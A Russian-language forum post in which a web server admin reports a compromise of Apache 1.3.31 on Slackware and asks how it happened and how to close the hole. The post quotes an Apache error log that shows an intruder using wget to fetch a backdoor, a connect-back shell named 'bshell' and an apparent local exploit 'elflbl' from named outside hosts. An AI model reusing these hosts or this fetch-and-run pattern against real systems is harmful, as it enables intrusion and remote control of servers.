Взлом через Апач - как? что делать?

Приветствую.
очередной раз зашедши в свой вебсервак обнаружил что там вращаеться куча процессов ./elflbl , расследование показало что в /tmp каталоге он и несколько других подозрительных файлов находиться.
система - слака куррент, апач 1.3.31
интересует, как такое мона сотворить,и как сию дырку закрыть...
спасибо заранее.

кусок логфайла апача ( apache-error.log):


[Tue Jan 18 04:12:26 2005] [error] [client 65.54.188.143] File does not exist: /var/www/anna//hpages
--05:44:53--  http://www.derf.hpgvip.com.br/derfbd
           => `derfbd.4'
Resolving www.derf.hpgvip.com.br... 200.226.126.70, 200.226.126.200
Connecting to www.derf.hpgvip.com.br[200.226.126.70]:80... connected.
HTTP request sent, awaiting response... 302 Found
Location: http://www.derf.hpgvip.ig.com.br/derfbd [following]
--05:44:55--  http://www.derf.hpgvip.ig.com.br/derfbd
           => `derfbd.4'
Resolving www.derf.hpgvip.ig.com.br... 200.226.126.70, 200.226.126.200
Connecting to www.derf.hpgvip.ig.com.br[200.226.126.70]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16,840 [text/plain]

    0K .......... ......                                     100%   30.62 KB/s

05:44:56 (30.62 KB/s) - `derfbd.4' saved [16840/16840]

sh: line 1: derfbd: Text file busy
bind: Address already in use
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
--05:46:08--  http://www.derf.hpgvip.ig.com.br/kateam/conect%20back/bshell
           => `bshell'
Resolving www.derf.hpgvip.ig.com.br... 200.226.126.200, 200.226.126.70
Connecting to www.derf.hpgvip.ig.com.br[200.226.126.200]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 19,953 [text/plain]

    0K .......... .........                                  100%   23.30 KB/s

05:46:10 (23.30 KB/s) - `bshell' saved [19953/19953]
--05:47:21--  http://www.nokiacentrum.cz/dcha0s/elflbl
           => `elflbl'
Resolving www.nokiacentrum.cz... 82.208.4.3
Connecting to www.nokiacentrum.cz[82.208.4.3]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 478,225 [application/octet-stream]

    0K .......... .......... .......... .......... .......... 10%  200.65 KB/s
   50K .......... .......... .......... .......... .......... 21%  444.78 KB/s
  100K .......... .......... .......... .......... .......... 32%  457.10 KB/s
  150K .......... .......... .......... .......... .......... 42%    1.12 MB/s
  200K .......... .......... .......... .......... .......... 53%  368.27 KB/s
  250K .......... .......... .......... .......... .......... 64%  180.16 KB/s
  300K .......... .......... .......... .......... .......... 74%  409.55 KB/s
  350K .......... .......... .......... .......... .......... 85%  543.92 KB/s
  400K .......... .......... .......... .......... .......... 96%  234.94 KB/s
  450K .......... .......                                    100%  162.40 KB/s

05:47:25 (319.99 KB/s) - `elflbl' saved [478225/478225]

--05:47:55--  http://www.defacersmexico.org/%7Eunroot/xpl/local4
           => `local4'
Resolving www.defacersmexico.org... 66.79.164.200
Connecting to www.defacersmexico.org[66.79.164.200]:80... connected.
HTTP request sent, awaiting response... 404 Not Found
05:47:58 ERROR 404: Not Found.

chmod: failed to get attributes of `local4': No such file or directory
[Tue Jan 18 06:23:57 2005] [error] [client 65.54.188.143] File does not exist: /var/www/anna/hpages